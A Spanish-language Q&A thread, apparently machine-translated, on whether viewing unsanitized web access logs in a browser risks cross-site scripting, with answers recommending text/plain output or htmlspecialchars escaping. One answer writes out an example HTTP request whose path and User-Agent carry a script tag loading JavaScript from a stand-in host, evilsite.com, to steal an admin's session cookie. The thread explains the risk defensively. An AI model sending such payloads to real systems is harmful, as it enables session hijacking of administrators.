¿Es peligroso ver el registro de acceso sin desinfectar a través del navegador web?

Question

¿Es peligroso ver el registro de acceso sin desinfectar a través del navegador web?

Estoy considerando registrar el registro de acceso, y estoy considerando verlo a través del navegador wev, pero si el atacante modifica su host remoto o agente de usuario o algo así, ¿puede atacarme?

Al insertar código atacante en su host remoto o agente de usuario o ect.

¿Debo desinfectarme con htmlspecialchar antes de abrir el archivo de registro de acceso a través del navegador web?

Me refiero a que el atacante inserte algún código atacante en su host remoto o agente de usuario o algo así, entonces veo ese registro de acceso a través del navegador web, y entonces mi PC se verá afectado por ese código.

Answer 1

Probablemente desee algún formato html para la salida y, por lo tanto, tenga que desinfectar/codificar los datos de registro. Pero por los argumentos sake: si envía el resultado como text/plain, el cliente no debe analizar ningún html/javascript.
P. ej. la salida de

<?php 
header('Content-type: text/plain; charset=utf-8'); 
echo '<script>alert(document.URL);</script>';

se visualiza como

<script>alert(document.URL);</script>

(al menos en FF3, IE8, opera, safari).

Answer 2

Teóricamente es posible, sí, y debe felicitarse por tener la mentalidad correcta para pensar de esa manera. Desinfectar cualquier entrada no controlada antes de mostrarlo en un navegador web siempre es una buena idea.

Me gustaría ejecutar la salida de registro a través de htmlspecialchars().

Answer 3

Sí, esto es peligroso.

Por ejemplo, un usuario malintencionado puede simplemente pedir algo como esto:

GET /<script src="http://www.evilsite.com/malicious.js"></script> HTTP/1.1 
Host: www.example.com 
Connection: close 
User-Agent: <script src="http://www.evilsite.com/malicious.js"></script> 

y poner en peligro su página de vista con JavaScript malicioso.

Dado que probablemente esté viendo el registro en su sitio, iniciaría sesión como una cuenta con derechos administrativos. Con el JavaScript malicioso, el atacante puede robar su cookie de sesión y hacerse cargo de su sesión, completar con todas las cosas que puede hacer mientras está conectado.

Por lo tanto, en conclusión, debe definitivamente escapar páginas de registro de acceso, a menos te gusta tener tus cuentas administrativas comprometidas.